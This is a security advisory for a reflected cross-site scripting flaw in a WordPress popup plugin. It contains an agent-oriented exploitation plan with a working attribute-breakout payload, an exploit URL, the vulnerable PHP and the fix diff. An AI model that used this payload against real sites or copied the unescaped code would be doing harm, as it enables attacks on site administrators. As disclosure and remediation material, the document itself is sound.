Popup Box – Create Countdown, Coupon, Video, Contact Form Popups <= 6.2.9 - Reflected Cross-Site Scripting
Description
The Popup Box – Create Countdown, Coupon, Video, Contact Form Popups plugin for WordPress is vulnerable to Reflected Cross-Site Scripting in versions up to, and including, 6.2.9 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:NTechnical Details
What Changed in the Fix
Changes introduced in v6.3.0
Source Code
WordPress.org SVNThis research plan outlines the technical details and exploitation strategy for **CVE-2026-54192**, a Reflected Cross-Site Scripting (XSS) vulnerability in the "Popup Box" WordPress plugin. ### 1. Vulnerability Summary * **Vulnerability:** Reflected Cross-Site Scripting (XSS) * **Affected Files…
Show full research plan
This research plan outlines the technical details and exploitation strategy for CVE-2026-54192, a Reflected Cross-Site Scripting (XSS) vulnerability in the "Popup Box" WordPress plugin.
1. Vulnerability Summary
- Vulnerability: Reflected Cross-Site Scripting (XSS)
- Affected Files:
includes/lists/class-ays-pb-popup-categories-list-table.phpincludes/lists/class-ays-pb-list-table.php
- Vulnerable Component: The
get_views()method in theWP_List_Tableimplementations for Popups and Categories. - Root Cause: The search parameter
sis processed usingsanitize_text_field()andesc_sql(), neither of which provide protection against HTML attribute injection. The resulting string is concatenated into anhrefattribute within an<a>tag that is wrapped in single quotes, without further escaping (e.g., viaesc_urloresc_attr).
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin.php - Query Parameters:
page:ays-pb-categoriesorays-pb-popupss: The payload carrier.
- Authentication: Requires a victim with Administrator (or
manage_options) privileges to visit a crafted link. - Broken Security Control: Both vulnerable files contain a logic error in their nonce verification. The code performs
wp_verify_nonce( $this->ays_pb_nonce, 'action' )where$this->ays_pb_nonceis a token generated by the plugin itself during the same request. This check compares a valid token against its own action string, which always returns true, effectively bypassing any CSRF/nonce protection for the page rendering.
3. Code Flow
- An administrator visits
wp-admin/admin.php?page=ays-pb-categories&s=[payload]. - The plugin instantiates
Popup_Categories_List_Table. - The
get_views()method is called to render the "All", "Published", and "Unpublished" filter links. - Source:
$_REQUEST['s']is accessed. - Processing:
// Line 96 in class-ays-pb-popup-categories-list-table.php $search = esc_sql(sanitize_text_field($_REQUEST['s'])); $href .= '&s=' . $search;sanitize_text_fieldremoves HTML tags but preserves single quotes (').esc_sqladds backslashes (e.g.,'becomes\'), which do not prevent attribute termination in HTML.
- Sink: The unescaped
$hrefis placed into an<a>tag:// Line 102 "all" => "<a " . $selected_all . " href='" . $href . "'>" . ... - Result: The HTML rendered is
<a href='?page=ays-pb-categories&s=[payload]'>. A payload likex' onmouseover='alert(1)terminates thehrefattribute and injects a new event handler.
4. Nonce Acquisition Strategy
Bypass Identified: The nonce check is programmatically flawed and does not require an attacker to provide a valid nonce.
In includes/lists/class-ays-pb-popup-categories-list-table.php:
// Line 57
if (empty($this->ays_pb_nonce) || ! wp_verify_nonce( $this->ays_pb_nonce, 'ays_pb_admin_popup_categories_list_table_nonce' ) ) {
wp_die('Nonce verification failed!');
}
Because the code verifies $this->ays_pb_nonce (the server-side generated token) rather than a user-supplied parameter like $_REQUEST['_wpnonce'], the check always succeeds. No nonce acquisition is required for exploitation.
5. Exploitation Strategy
The goal is to trigger an alert box in the context of the WordPress admin panel.
- Payload:
x' onmouseover='alert(document.domain) - URL-Encoded Payload:
x%27+onmouseover%3D%27alert%28document.domain%29 - Exploit URL:
http://localhost:8080/wp-admin/admin.php?page=ays-pb-categories&s=x%27+onmouseover%3D%27alert%28document.domain%29
Step-by-Step Execution:
- Using the
http_requesttool, the agent will send a GET request to the exploit URL using a session cookie for an Administrative user. - The agent will then verify the response body for the injected attribute.
6. Test Data Setup
Before exploitation, the environment must be prepared:
- Plugin Activation: Ensure
ays-popup-boxis installed and active. - Administrative User: Ensure an admin user exists (default in test environments).
- Create Category: At least one Popup Category must exist so the list table renders the "All" link.
- WP-CLI:
wp ays-pb category create --title="Test Category" --published=1(or via browser automation).
- WP-CLI:
7. Expected Results
- Response Content: The response HTML will contain the following broken-out
<a>tag:<a style='font-weight:bold;' href='?page=ays-pb-categories&s=x\' onmouseover=\'alert(document.domain)'>All (1)</a> - Execution: When a user hovers over the "All (1)" link in a browser, the
alert(document.domain)JavaScript will execute.
8. Verification Steps
- Response Analysis: Search the response body of the
http_requestfor the string:onmouseover=\'alert(document.domain). - DOM Verification: Use
browser_navigateto the exploit URL andbrowser_evalto check if the injected attribute exists:// Check if any anchor tag contains our payload in its attributes [...document.querySelectorAll('a')].some(a => a.getAttribute('onmouseover')?.includes('alert'))
9. Alternative Approaches
If the ays-pb-categories page is restricted, the same vulnerability can be targeted via the main popups list:
- Alternative URL:
/wp-admin/admin.php?page=ays-pb-popups&s=x%27+onmouseover%3D%27alert%281%29 - Sink:
includes/lists/class-ays-pb-list-table.phpwithin theget_views()method.
Summary
The Popup Box plugin for WordPress is vulnerable to Reflected Cross-Site Scripting (XSS) via the search parameter 's' in the popup and category list tables. This occurs because the plugin uses sanitize_text_field and esc_sql on the input before concatenating it into a single-quoted HTML attribute, allowing attackers to terminate the attribute and inject arbitrary event handlers or scripts.
Vulnerable Code
// includes/lists/class-ays-pb-popup-categories-list-table.php lines 96-103 if (isset($_REQUEST['s']) && $_REQUEST['s'] != '') { $search = esc_sql(sanitize_text_field($_REQUEST['s'])); $href .= '&s=' . $search; } $status_links = array( "all" => "<a " . $selected_all . " href='" . $href . "'>" . esc_html__('All', "ays-popup-box") . " (" . $all_count . ")</a>", --- // includes/lists/class-ays-pb-list-table.php lines 238-241 (inside ays_pb_add_filters_to_link called by get_views) if (isset($_REQUEST['s']) && $_REQUEST['s'] != '') { $search = esc_sql(sanitize_text_field($_REQUEST['s'])); $href .= '&s=' . $search; }
Security Fix
@@ -108,13 +108,17 @@ $selected_all = "style='font-weight:bold;'"; } - $href = "?page=" . esc_attr($_REQUEST['page']); + $href = add_query_arg( + 'page', + isset($_REQUEST['page']) ? sanitize_key(wp_unslash($_REQUEST['page'])) : '', + admin_url('admin.php') + ); $href = $this->ays_pb_add_filters_to_link($href); $status_links = array( - "all" => "<a " . $selected_all . " href='" . $href . "'>" . esc_html__('All', "ays-popup-box") . " (" . $all_count . ")</a>", - "published" => "<a " . $selected_on . " href='" . $href . "&fstatus=published'>" . esc_html__('Published', "ays-popup-box") . " (" . $published_count . ")</a>", - "unpublished" => "<a " . $selected_off . " href='" . $href . "&fstatus=unpublished'>" . esc_html__('Unpublished', "ays-popup-box") . " (" . $unpublished_count . ")</a>" + "all" => "<a " . $selected_all . " href='" . esc_url($href) . "'>" . esc_html__('All', "ays-popup-box") . " (" . $all_count . ")</a>", + "published" => "<a " . $selected_on . " href='" . esc_url(add_query_arg('fstatus', 'published', $href)) . "'>" . esc_html__('Published', "ays-popup-box") . " (" . $published_count . ")</a>", + "unpublished" => "<a " . $selected_off . " href='" . esc_url(add_query_arg('fstatus', 'unpublished', $href)) . "'>" . esc_html__('Unpublished', "ays-popup-box") . " (" . $unpublished_count . ")</a>" ); return $status_links; @@ -75,17 +75,21 @@ $selected_all = "style='font-weight:bold;'"; } - $href = "?page=" . esc_attr($_REQUEST['page']); + $href = add_query_arg( + 'page', + isset($_REQUEST['page']) ? sanitize_key(wp_unslash($_REQUEST['page'])) : '', + admin_url('admin.php') + ); if (isset($_REQUEST['s']) && $_REQUEST['s'] != '') { - $search = esc_sql(sanitize_text_field($_REQUEST['s'])); - $href .= '&s=' . $search; + $search = sanitize_text_field(wp_unslash($_REQUEST['s'])); + $href = add_query_arg('s', $search, $href); } $status_links = array( - "all" => "<a " . $selected_all . " href='" . $href . "'>" . esc_html__('All', "ays-popup-box") . " (" . $all_count . ")</a>", - "published" => "<a " . $selected_1 . " href='" . $href . "&fstatus=1'>" . esc_html__('Published', "ays-popup-box") . " (" . $published_count . ")</a>", - "unpublished" => "<a " . $selected_0 . " href='" . $href . "&fstatus=0'>" . esc_html__('Unpublished', "ays-popup-box") . " (" . $unpublished_count . ")</a>" + "all" => "<a " . $selected_all . " href='" . esc_url($href) . "'>" . esc_html__('All', "ays-popup-box") . " (" . $all_count . ")</a>", + "published" => "<a " . $selected_1 . " href='" . esc_url(add_query_arg('fstatus', 1, $href)) . "'>" . esc_html__('Published', "ays-popup-box") . " (" . $published_count . ")</a>", + "unpublished" => "<a " . $selected_0 . " href='" . esc_url(add_query_arg('fstatus', 0, $href)) . "'>" . esc_html__('Unpublished', "ays-popup-box") . " (" . $unpublished_count . ")</a>" );
Exploit Outline
The exploit targets the WordPress admin panel pages 'ays-pb-categories' and 'ays-pb-popups'. An attacker crafts a link with a malicious payload in the 's' parameter, such as `x' onmouseover='alert(document.domain)`. When an authenticated administrator clicks this link, the plugin renders search filter links ("All", "Published", etc.) with the unescaped payload directly inside the 'href' attribute. Because the attribute is wrapped in single quotes and the payload contains a single quote, the attacker can break out of the URL context and inject a JavaScript event handler. Nonce protection is effectively bypassed because the plugin's internal verification logic compares its own server-side token against a fixed action string rather than validating a user-supplied parameter.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.